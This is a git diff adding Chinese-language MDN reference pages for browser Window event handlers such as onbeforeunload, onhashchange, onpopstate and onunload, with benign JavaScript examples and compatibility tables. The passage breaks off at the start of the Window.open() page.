FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo() }}{{CompatChrome(45.0)}} [1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{CompatChrome(45.0)}} [1]
+
+ +

[1] Behind the flagchrome://flags/#bypass-app-banner-engagement-checks

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Manifest', '#onbeforeinstallprompt-attribute', 'Window.onbeforeinstallprompt')}}{{Spec2('Manifest')}}Initial specification.
+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/window/onbeforeunload/index.html b/files/zh-cn/web/api/window/onbeforeunload/index.html new file mode 100644 index 0000000000..78bed99eb9 --- /dev/null +++ b/files/zh-cn/web/api/window/onbeforeunload/index.html @@ -0,0 +1,111 @@ +--- +title: window.onbeforeunload +slug: Web/API/Window/onbeforeunload +translation_of: Web/API/WindowEventHandlers/onbeforeunload +--- +
{{ApiRef}}
+ +

概述

+ +

当窗口即将被{{domxref("window.onunload","卸载(关闭)")}}时,会触发该事件.此时页面文档依然可见,且该事件的默认动作可以被{{domxref("event.preventDefault","取消")}}.

+ +

语法

+ +
window.onbeforeunload = funcRef
+ + + +

示例

+ +
window.onbeforeunload = function (e) {
+  e = e || window.event;
+
+  // 兼容IE8和Firefox 4之前的版本
+  if (e) {
+    e.returnValue = '关闭提示';
+  }
+
+  // Chrome, Safari, Firefox 4+, Opera 12+ , IE 9+
+  return '关闭提示';
+};
+
+ +

附注

+ +

当该事件返回的字符串(事前设置好的event.returnValue的值)不为null或者undefined时,弹出确认窗口让用户自行选择是否关闭当前页面。一些浏览器将该事件返回的字符串显示在弹出窗上。从Firefox 4、 Chrome 51、Opera 38 和Safari 9.1开始,通用确认信息代替事件返回的字符串。比如,火狐上会显示“本页面要求您确认您要离开 - 您输入的数据可能不会被保存”,请查阅{{bug("588292")}}和Chrome Platform Status

+ +

从2011年5月25日起,  HTML5 规范 声明:在该事件的处理函数中调用下列弹窗相关的方法时,可以忽略不执行,window.showModalDialog(), window.alert(), window.confirm() window.prompt().

+ +

需要指出的是,许多浏览器会忽略该事件并自动关闭页面无需用户的确认。火狐浏览器在配置页面about:config设有一个dom.disable_beforeunload的开关变量用于开启这个功能。

+ +

你可以通过{{domxref("EventTarget.addEventListener","window.addEventListener()")}} 或者 {{event("beforeunload")}} 创建该事件。更多信息请点击以上链接。

+ +

创建这个事件能防止浏览器缓存部分由javascript产生的页面内容。在页面中含Javascript产生的内容情形下,再次导航返回到原页面javascript不在运行。如果事先有window.onbeforeunload事件,导航返回到先前的页面后javascript将被触发并更新页面内容。

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support114123
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

规范

+ +

该事件最初是由微软公司的IE4引进,虽然没有公开的规范说明,但所有浏览器都支持该事件.目前已被添加至HTML5规范草案中.

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/ondevicelight/index.html b/files/zh-cn/web/api/window/ondevicelight/index.html new file mode 100644 index 0000000000..4997722c37 --- /dev/null +++ b/files/zh-cn/web/api/window/ondevicelight/index.html @@ -0,0 +1,105 @@ +--- +title: Window.ondevicelight +slug: Web/API/Window/ondevicelight +tags: + - 实验中 + - 属性 + - 引用 + - 接口 + - 环境光事件 +translation_of: Web/API/Window/ondevicelight +--- +
{{APIRef}}
+ +
声明一个事件监听用以接收{{event("devicelight")}}事件。事件在设备的光传感器检测到周围环境光的强度发生变化时触发。
+ +

语法

+ +
window.ondevicelight = funcRef
+ +

当{{event("devicelight")}}事件触发时,调用funcRef函数。这些事件皆为 {{domxref("DeviceLightEvent")}}事件类型。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('AmbientLight', '#event-handlers', 'Ambient Light Events')}}{{Spec2('AmbientLight')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22.0")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("15.0")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 事件{{event("devicelight")}} 的使用最先被实现应用在Android (15.0) 的移动端火狐浏览器和火狐操作系统(B2G)。从 Gecko 22.0 {{geckoRelease("22.0")}}开始,面向Mac OS X 的桌面应用也已实现。目前对Windows 7的支持还在进行中(详见 {{bug(754199)}})。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/ondevicemotion/index.html b/files/zh-cn/web/api/window/ondevicemotion/index.html new file mode 100644 index 0000000000..41cda848df --- /dev/null +++ b/files/zh-cn/web/api/window/ondevicemotion/index.html @@ -0,0 +1,57 @@ +--- +title: Window.ondevicemotion +slug: Web/API/Window/ondevicemotion +tags: + - API + - Device Orientation + - Firefox OS + - Mobile + - Motion + - 移动端设备 +translation_of: Web/API/Window/ondevicemotion +--- +

{{ ApiRef() }}

+ +

摘要

+ +

一个发送到窗口的{{ event("devicemotion")}}事件处理程序。

+ +

语法

+ +
window.ondevicemotion = funcRef;
+
+ +

Where funcRef is a reference to a function. This function receives a {{ domxref("DeviceMotionEvent") }} object describing the motion that occurred.

+ +

这里的funcRef是一个函数的引用。这个函数接收一个{{ domxref("DeviceMotionEvent") }} 对象类型的参数描述发生的动作。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器兼容

+ +

{{ page("/en-US/docs/Web/API/DeviceMotionEvent","Browser_compatibility") }}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/window/ondeviceorientation/index.html b/files/zh-cn/web/api/window/ondeviceorientation/index.html new file mode 100644 index 0000000000..672cc0aaa3 --- /dev/null +++ b/files/zh-cn/web/api/window/ondeviceorientation/index.html @@ -0,0 +1,47 @@ +--- +title: Window.ondeviceorientation +slug: Web/API/Window/ondeviceorientation +translation_of: Web/API/Window/ondeviceorientation +--- +

{{ ApiRef() }}

+ +

简介

+ +

{{ event("deviceorientation") }}事件的事件处理程序,该事件包含了设备的相对旋转方向改变信息。

+ +

语法

+ +
window.ondeviceorientation = function(event) { ... };
+window.addEventListener('deviceorientation', function(event) { ... });
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ page("/en-US/docs/Web/API/DeviceOrientationEvent","Browser_compatibility") }}

+ +

更多资料

+ + diff --git a/files/zh-cn/web/api/window/ondeviceorientationabsolute/index.html b/files/zh-cn/web/api/window/ondeviceorientationabsolute/index.html new file mode 100644 index 0000000000..b595d9852c --- /dev/null +++ b/files/zh-cn/web/api/window/ondeviceorientationabsolute/index.html @@ -0,0 +1,35 @@ +--- +title: Window.ondeviceorientationabsolute +slug: Web/API/Window/ondeviceorientationabsolute +translation_of: Web/API/Window/ondeviceorientationabsolute +--- +

{{ ApiRef() }}{{Non-standard_header}}

+ +

摘要

+ +

An event handler for the {{ event("deviceorientationabsolute") }} event containing information about an absolute device orientation change.

+ +

Syntax

+ +
window.ondeviceorientationabsolute = function(event) { ... };
+window.addEventListener('deviceorientationabsolute', function(event) { ... });
+
+ +

Specifications

+ +

This event handler is not currently part of any specification.

+ +

Browser compatibility

+ + + +

{{Compat("api.Window.ondeviceorientationabsolute")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/window/ondeviceproximity/index.html b/files/zh-cn/web/api/window/ondeviceproximity/index.html new file mode 100644 index 0000000000..df0a897b1c --- /dev/null +++ b/files/zh-cn/web/api/window/ondeviceproximity/index.html @@ -0,0 +1,93 @@ +--- +title: Window.ondeviceproximity +slug: Web/API/Window/ondeviceproximity +translation_of: Web/API/Window/ondeviceproximity +--- +

{{ ApiRef() }}

+ +

指定一个事件监听器来接受 {{event("deviceproximity")}} 事件,当设备传感器检测到一个对象越来越接近或远离设备时这些事件就会出现。

+ +

语法

+ +
window.onuserproximity = funcRef
+ +

其中funcRef是在发生 {{event("deviceproximity")}} 事件时要调用的函数。这些事件的类型为{{domxref("DeviceProximityEvent")}}。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Proximity Events', '#device-proximity', 'Proximity Events') }}{{ Spec2('Proximity Events') }}Initial specification
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatGeckoMobile("15.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/window/ondragdrop/index.html b/files/zh-cn/web/api/window/ondragdrop/index.html new file mode 100644 index 0000000000..4a99f9da30 --- /dev/null +++ b/files/zh-cn/web/api/window/ondragdrop/index.html @@ -0,0 +1,55 @@ +--- +title: Window.ondragdrop +slug: Web/API/Window/ondragdrop +translation_of: Web/API/Window/ondragdrop +--- +
+

在Firefox 50中已删除,并且从未在任何其他浏览器中实行。 请改用现代标准的HTML5拖放功能。

+
+ +

摘要

+ +

一个事件处理程序,用于将拖放事件发送到窗口。

+ +

语法

+ +
window.ondragdrop = funcRef;
+window.addEventListener("dragdrop", funcRef, useCapturing);
+
+ +
+
funcRef 
+
要注册的事件处理函数。
+
+ +

Gecko({{ Bug(112288) }})中未实现window.ondragdrop属性和ondragdrop属性,您必须使用addEventListener。 有关详细信息,请参见addEventListener

+ +

示例

+ +

在拖放时触发alert

+ +

在此示例中,事件侦听器被添加到窗口(事件目标)。 如果从外部源将选项卡,链接,标记的文本或文件拖放到此窗口上,则会触发警报。 注意event.stopPropagation(); 阻止浏览器加载放置的标签,链接或文件。

+ +
<html>
+<head><title>dragdroptest</title>
+
+<script type="text/javascript">
+
+window.addEventListener("dragdrop", testfunc, false);
+
+function testfunc(event) {
+    alert("dragdrop!");
+    event.stopPropagation();
+}
+</script>
+
+</head>
+<body>
+I am bodytext
+</body>
+</html>
+
+ +

规范

+ +

不属于规范部分。

diff --git a/files/zh-cn/web/api/window/ongamepadconnected/index.html b/files/zh-cn/web/api/window/ongamepadconnected/index.html new file mode 100644 index 0000000000..809fd1f1c7 --- /dev/null +++ b/files/zh-cn/web/api/window/ongamepadconnected/index.html @@ -0,0 +1,64 @@ +--- +title: Window.ongamepadconnected +slug: Web/API/Window/ongamepadconnected +tags: + - API + - Event Handler + - Experimental + - Gamepad API + - Property + - Reference + - Window + - gamepadconnected + - ongamepadconnected + - 手柄 + - 游戏 +translation_of: Web/API/Window/ongamepadconnected +--- +
{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}
+ +

{{domxref("Window")}} 接口的 ongamepadconnected 属性是一个事件处理程序,它将在游戏手柄连接时运行 (即当 {{event('gamepadconnected')}} 事件触发时)。

+ +

此方法响应的对象类型是 {{domxref("GamepadEvent")}}.

+ +

语法

+ +
window.ongamepadconnected = function() { ... };
+
+ +

示例

+ +
window.ongamepadconnected = function(event) {
+  // 手柄上所有的可用按键和手柄控制元件上各轴向数值都能在此获取
+  event.gamepad;
+};
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Gamepad ', '#event-gamepadconnected', 'gamepadconnected event')}}{{Spec2('Gamepad')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.ongamepadconnected")}}

+ +

相关知识

+ + diff --git a/files/zh-cn/web/api/window/ongamepaddisconnected/index.html b/files/zh-cn/web/api/window/ongamepaddisconnected/index.html new file mode 100644 index 0000000000..7712dd6066 --- /dev/null +++ b/files/zh-cn/web/api/window/ongamepaddisconnected/index.html @@ -0,0 +1,51 @@ +--- +title: Window.ongamepaddisconnected +slug: Web/API/Window/ongamepaddisconnected +translation_of: Web/API/Window/ongamepaddisconnected +--- +
{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}
+ +

The ongamepaddisconnected property of the {{domxref("Window")}} interface represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).

+ +

The event object is of type {{domxref("GamepadEvent")}}.

+ +

解析

+ +
window.ongamepaddisconnected = function() { ... };
+
+ +

示例

+ +
window.ongamepaddisconnected = function() {
+  // A gamepad has been disconnected
+};
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Gamepad ', '#event-gamepaddisconnected', 'gamepaddisconnected event')}}{{Spec2('Gamepad')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Window.ongamepaddisconnected")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/window/onhashchange/index.html b/files/zh-cn/web/api/window/onhashchange/index.html new file mode 100644 index 0000000000..0c7f3ebefa --- /dev/null +++ b/files/zh-cn/web/api/window/onhashchange/index.html @@ -0,0 +1,124 @@ +--- +title: window.onhashchange +slug: Web/API/Window/onhashchange +tags: + - HTML-DOM + - Property + - Reference + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers/onhashchange +--- +

{{APIRef("HTML DOM")}}

+ +

当 一个窗口的 hash (URL 中 # 后面的部分)改变时就会触发 hashchange 事件(参见 {{domxref("Window.location", "location.hash")}})。

+ +

语法

+ +
window.onhashchange = funcRef;
+
+ +

或者

+ +
<body onhashchange="funcRef();">
+ +

以上操作将覆盖现有的事件处理程序。

+ +

为了添加一个新的事件处理程序,而不覆盖掉已有的其他事件处理程序,可以使用函数 "addEventListener"

+ +
window.addEventListener("hashchange", funcRef, false);
+
+ +

参数

+ +
+
funcRef
+
对一个函数的引用。
+
+ +

例子

+ +
if ("onhashchange" in window) {
+    alert("该浏览器支持 hashchange 事件!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+
+ +

hashchange 事件

+ +

hashchange 事件对象有下面两个属性:

+ + + + + + + + + + + + + + + + + + + +
属性类型描述
newURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面新的URL
oldURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面旧的URL
+ +

Workaround for event.newURL and event.oldURL

+ +
//let this snippet run before your hashchange event binding code
+if(!window.HashChangeEvent)(function(){
+	var lastURL=document.URL;
+	window.addEventListener("hashchange",function(event){
+		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+		lastURL=document.URL;
+	});
+}());
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.WindowEventHandlers.onhashchange")}}

+ + diff --git a/files/zh-cn/web/api/window/online_event/index.html b/files/zh-cn/web/api/window/online_event/index.html new file mode 100644 index 0000000000..ecaccec4f7 --- /dev/null +++ b/files/zh-cn/web/api/window/online_event/index.html @@ -0,0 +1,65 @@ +--- +title: online +slug: Web/API/Window/online_event +translation_of: Web/API/Window/online_event +--- +

当浏览器能够访问网络, 并且navigator.online的值被设为true时, online事件被触发.

+ +
注意: 该事件不能用来决定某个网站可否访问.网站自身问题或防火墙或GFW都依然有可能阻止该网站的访问.
+ +

常规信息

+ +
+
规范
+
HTML5 Offline
+
接口
+
Event
+
是否冒泡
+
+
可取消默认行为
+
+
目标对象
+
当前网页(<window>)
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/onmouseup/index.html b/files/zh-cn/web/api/window/onmouseup/index.html new file mode 100644 index 0000000000..80ec093560 --- /dev/null +++ b/files/zh-cn/web/api/window/onmouseup/index.html @@ -0,0 +1,42 @@ +--- +title: window.onmouseup +slug: Web/API/Window/onmouseup +translation_of: Web/API/GlobalEventHandlers/onmouseup +--- +

{{ ApiRef() }}

+

概述

+

当前窗口的mouseup事件的事件句柄.

+

语法

+
window.onmouseup = funcRef;
+
+

参数

+ +

例子

+
window.onmouseup = doFunc;
+
+
<html>
+<head>
+
+<title>onmouseup测试</title>
+
+<script type="text/javascript">
+
+window.onmouseup = mouseup;
+
+function mouseup()
+{
+ alert("检测到mouseup事件!");
+}
+</script>
+</head>
+
+<body>
+<p>在页面上按下鼠标中某个键,保持几秒后松开.mouseup事件会在你松开鼠标时触发</p>
+</body>
+</html>
+
+

规范

+

没有任何公开的标准

+

{{ languages( { "ja": "ja/DOM/window.onmouseup" ,"en": "en/DOM/window.onmouseup" } ) }}

diff --git a/files/zh-cn/web/api/window/onmozbeforepaint/index.html b/files/zh-cn/web/api/window/onmozbeforepaint/index.html new file mode 100644 index 0000000000..c5206502d7 --- /dev/null +++ b/files/zh-cn/web/api/window/onmozbeforepaint/index.html @@ -0,0 +1,38 @@ +--- +title: Window.onmozbeforepaint +slug: Web/API/Window/onmozbeforepaint +tags: + - API + - Property +translation_of: Web/API/Window/onmozbeforepaint +--- +

{{ ApiRef() }}

+ +

{{ obsolete_header("11") }}{{ non-standard_header() }}

+ +
警告: 这个非标准时间处理器在某些已发布版本中无法使用,而且已经在Gecko 11.0 中被移除{{ geckoRelease("11.0") }}。
+ +

摘要

+ +

MozBeforePaints 事件的事件处理器. 这样做是为了保持和 {{ domxref("window.mozRequestAnimationFrame()") }}方法一致以期在JavaScript代码中提供流畅,同步的动画。

+ +

语法

+ +
window.onmozbeforepaint = funcRef;
+
+ + + +

例子

+ +

请查看{{ domxref("window.mozRequestAnimationFrame()") }}。

+ +

注意

+ +

这个事件会在浏览器重绘前立即触发,如果事件被一个或多个代码调用响应{{domxref("window.mozRequestAnimationFrame()") }}。事件处理器会接收到一个事件作为输入参数,其 timeStamp 属性为UTC起始到现在的毫秒数字,这是当前动画帧的“当前时间”。这个时间对于所有在相同浏览器窗口运行的,包括哪些用了 {{ domxref("window.mozRequestAnimationFrame()") }} 方法,CSS transitions, 和 SMIL animations的都是一样的。

+ +

说明

+ +

没有特别的说明。

diff --git a/files/zh-cn/web/api/window/onpaint/index.html b/files/zh-cn/web/api/window/onpaint/index.html new file mode 100644 index 0000000000..3422b02f71 --- /dev/null +++ b/files/zh-cn/web/api/window/onpaint/index.html @@ -0,0 +1,31 @@ +--- +title: Window.onpaint +slug: Web/API/Window/onpaint +translation_of: Web/API/Window/onpaint +--- +

{{ ApiRef() }}

+ +

{{Non-standard_header}}

+ +

总结

+ +

window中的paint事件处理,目前在Gecko-based(火狐)应用中不被支持,参见【注意事项】部分的说明。

+ +

语法

+ +
window.onpaint =funcRef;
+
+ + + +

注意事项

+ +

onpaint 现在没有生效,并且这个事件是否会生效也是一个问题,参见{{Bug(239074)}}.

+ +

window渲染时paint事件会触发。此事件在window的load事件之后触发,并且每次window需要重绘时都会再次触发,当另一个window出现使原先的window不处于激活状态时,原window的onpaint事件则被清理。

+ +

规范

+ +

不是任何规范的一部分.

diff --git a/files/zh-cn/web/api/window/onpopstate/index.html b/files/zh-cn/web/api/window/onpopstate/index.html new file mode 100644 index 0000000000..6efc1ec835 --- /dev/null +++ b/files/zh-cn/web/api/window/onpopstate/index.html @@ -0,0 +1,68 @@ +--- +title: window.onpopstate +slug: Web/API/Window/onpopstate +translation_of: Web/API/WindowEventHandlers/onpopstate +--- +

{{ ApiRef() }}

+ +

{{ gecko_minversion_header("2") }}

+ +

概述

+ +

window.onpopstatepopstate事件在window对象上的事件处理程序.

+ +

每当处于激活状态的历史记录条目发生变化时,popstate事件就会在对应window对象上触发. 如果当前处于激活状态的历史记录条目是由history.pushState()方法创建,或者由history.replaceState()方法修改过的, 则popstate事件对象的state属性包含了这个历史记录条目的state对象的一个拷贝.

+ +

注意:调用history.pushState()或者history.replaceState()不会触发popstate事件. popstate事件只会在浏览器某些行为下触发, 比如点击后退、前进按钮(或者在JavaScript中调用history.back()、history.forward()、history.go()方法),此外,a 标签的锚点也会触发该事件.

+ +

当网页加载时,各浏览器对popstate事件是否触发有不同的表现,Chrome 和 Safari会触发popstate事件, 而Firefox不会.

+ +

语法

+ +
window.onpopstate = funcRef;
+
+ + + +

popstate事件

+ +

假如当前网页地址为http://example.com/example.html,则运行下述代码后:

+ +
window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+//绑定事件处理函数.
+history.pushState({page: 1}, "title 1", "?page=1");    //添加并激活一个历史记录条目 http://example.com/example.html?page=1,条目索引为1
+history.pushState({page: 2}, "title 2", "?page=2");    //添加并激活一个历史记录条目 http://example.com/example.html?page=2,条目索引为2
+history.replaceState({page: 3}, "title 3", "?page=3"); //修改当前激活的历史记录条目 http://ex..?page=2 变为 http://ex..?page=3,条目索引为3
+history.back(); // 弹出 "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // 弹出 "location: http://example.com/example.html, state: null
+history.go(2);  // 弹出 "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

即便进入了那些非pushState和replaceState方法作用过的(比如http://example.com/example.html)没有state对象关联的那些网页, popstate事件也仍然会被触发.

+ +

规范

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onpopstate")}}

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/window.onpopstate" } ) }}

diff --git a/files/zh-cn/web/api/window/onscroll/index.html b/files/zh-cn/web/api/window/onscroll/index.html new file mode 100644 index 0000000000..3d6a7bfdb6 --- /dev/null +++ b/files/zh-cn/web/api/window/onscroll/index.html @@ -0,0 +1,53 @@ +--- +title: window.onscroll +slug: Web/API/Window/onscroll +translation_of: Web/API/GlobalEventHandlers/onscroll +--- +

{{ ApiRef() }}

+

概述

+

为当前页面的页面滚动事件添加事件处理函数.

+

语法

+
window.onscroll = funcRef;
+
+ +

例子

+
window.onscroll = function (e) {
+  // 当页面的滚动条滚动时,会执行这里的代码
+}
+
+
<html>
+<head>
+
+<title>onscroll test</title>
+
+<script type="text/javascript">
+
+window.onscroll = scroll;
+
+function scroll()
+{
+ alert("检测到页面滚动事件:"+window.pageXOffset+" "+window.pageYOffset);
+ // 注意: window.innerWidth 和 window.innerHeight 可以获得页面可见区域的宽和高.
+}
+</script>
+</head>
+
+<body>
+<p>Resize the window</p>
+<p>to a very small size,</p>
+<p>and use the scrollbars</p>
+<p>to move around the page content</p>
+<p>in the window.</p>
+</body>
+</html>
+
+

备注

+

{{ Bug("189308") }}, 在旧版本的Gecko中(Gecko 1.8/Firefox 1.5之前), scroll 事件只会在用户拖动滚动条时发生,使用方向键和鼠标滚轮滚动页面则不会触发该事件.

+

当 window.scrollX/scrollY 不为 0时,意味着用户或者网页脚本已经执行了窗口的滚动行为.

+

规范

+ +

{{ languages( { "en": "en/DOM/window.onscroll"} ) }}

diff --git a/files/zh-cn/web/api/window/onunload/index.html b/files/zh-cn/web/api/window/onunload/index.html new file mode 100644 index 0000000000..5e766c1d67 --- /dev/null +++ b/files/zh-cn/web/api/window/onunload/index.html @@ -0,0 +1,69 @@ +--- +title: window.onunload +slug: Web/API/Window/onunload +translation_of: Web/API/WindowEventHandlers/onunload +--- +

{{ ApiRef("HTML DOM") }}

+ +

概述

+ +

{{domxref("WindowEventHandlers")}} 的混入特性 onunload 是 {{domxref("EventHandler")}}  处理 {{Event("unload")}} 事件的方法。该事件在关闭窗口资源和内容的时候触发。页面资源的清除工作会在 unload  事件之后进行。

+ +
+

注意事项: 具备弹窗阻止功能的浏览器会忽略 onunload  事件回调中调用的 {{domxref("Window.open()")}} 方法。

+
+ +
+

onunload 特性(乃至 unload 事件本身) 并非使用 sendBeacon()的正确途径,要调用 sendBeacon() 接口,应当使用 visibilitychange 和 pagehide 事件。 参见 Beacon API is broken

+
+ +

语法

+ +
window.addEventListener("unload", function(event) { ... });
+window.onunload = function(event) { ... };
+ +

通常而言,我们推荐使用 {{domxref("EventTarget.addEventListener", "window.addEventListener()")}} 来监听 {{event("unload")}} 事件,而不是直接给 onunload 赋值。

+ +

例子

+ +
<html>
+<head>
+
+<title>onunload test</title>
+
+<script type="text/javascript">
+
+window.onunload = unloadPage;
+
+function unloadPage()
+{
+ alert("unload event detected!");
+}
+</script>
+</head>
+
+<body>
+<p>Reload a new page into the browser<br />
+ to fire the unload event for this page.</p>
+<p>You can also use the back or forward buttons<br />
+ to load a new page and fire this event.</p>
+</body>
+</html>
+
+
+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( {"en": "en/DOM/window.onunload" } ) }}

+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onunload")}}

+ +

在 Firefox 1.5 中,页面使用此事件处理程序会阻止浏览器在 bfcache 内存中缓存页面(译者注:翻译可能没有达意,请对照英文原文)。详细信息请参阅使用 Firefox 1.5:缓存

diff --git a/files/zh-cn/web/api/window/onuserproximity/index.html b/files/zh-cn/web/api/window/onuserproximity/index.html new file mode 100644 index 0000000000..9a4c3a0c7c --- /dev/null +++ b/files/zh-cn/web/api/window/onuserproximity/index.html @@ -0,0 +1,45 @@ +--- +title: Window.onuserproximity +slug: Web/API/Window/onuserproximity +translation_of: Web/API/Window/onuserproximity +--- +

{{ ApiRef() }}

+ +

Window.onuserproxymity 属性代表一个 {{domxref("EventHandler")}}, 当触发 {{event("userproximity")}} 事件时会调用这个函数。这些事件是 {{domxref("UserProximityEvent")}} 类型的,在设备传感器检测到对象变得靠近时触发。

+ +

语法

+ +
window.onuserproximity = eventHandler
+ +

说明

+ + + + + + + + + + + + + + + + +
说明状态评论
{{ SpecName('Proximity Events', '#user-proximity', 'Proximity Events') }}{{ Spec2('Proximity Events') }}Initial specification
+ +

浏览器兼容

+ + + +

{{Compat("api.Window.onuserproximity")}}

+ +

其他

+ + diff --git a/files/zh-cn/web/api/window/open/index.html b/files/zh-cn/web/api/window/open/index.html new file mode 100644 index 0000000000..3080abb470 --- /dev/null +++ b/files/zh-cn/web/api/window/open/index.html @@ -0,0 +1,686 @@ +--- +title: Window.open() +slug: Web/API/Window/open +tags: + - API + - DOM + - NeedsUpdate + - Window + - 参考 + - 方法 +translation_of: Web/API/Window/open +--- +
{{APIRef}}
+ +

Window 接口的 open() 方法,是用指定的名称将指定的资源加载到浏览器上下文(窗口 window ,内嵌框架 iframe 或者标签 tab )。如果没有指定名称,则一个新的窗口会被打开并且指定的资源会被加载进这个窗口的浏览器上下文中。

+ +

语法

+ +

+let windowObjectReference = window.open(strUrl, strWindowName, [strWindowFeatures]);
+ +
+

strUrl === 要在新打开的窗口中加载的URL。

+ +

strWindowName === 新窗口的名称。

+ +

strWindowFeatures === 一个可选参数,列出新窗口的特征(大小,位置,滚动条等)作为一个{{domxref("DOMString")}}。

+
+ +

+ +

参数与返回值

+ +
+
WindowObjectReference
+
打开的新窗口对象的引用。如果调用失败,返回值会是 null 。如果父子窗口满足“同源策略”,你可以通过这个引用访问新窗口的属性或方法。
+
+ +
+
strUrl
+
新窗口需要载入的url地址。strUrl可以是web上的html页面也可以是图片文件或者其他任何浏览器支持的文件格式。
+
+ +
+
strWindowName
+
新窗口的名称。该字符串可以用来作为超链接 {{HTMLElement("a")}} 或表单 {{HTMLElement("form")}} 元素的目标属性值。字符串中不能含有空白字符。注意:strWindowName 并不是新窗口的标题。
+
+ +
+
strWindowFeatures
+
可选参数。是一个字符串值,这个值列出了将要打开的窗口的一些特性(窗口功能和工具栏) 。 字符串中不能包含任何空白字符,特性之间用逗号分隔开。参考下文的位置和尺寸特征
+
+ +

说明

+ +

open() 方法,创建一个新的浏览器窗口对象,如同使用文件菜单中的新窗口命令一样。strUrl 参数指定了该窗口将会打开的地址。如果strUrl 是一个空值,那么打开的窗口将会是带有默认工具栏的空白窗口(加载about:blank)。

+ +

注意:调用window.open()方法以后,远程 URL 不会被立即载入,载入过程是异步的。(实际加载这个URL的时间推迟到当前脚本块执行结束之后。窗口的创建和相关资源的加载异步地进行。)

+ +

例子

+ +
let windowObjectReference;
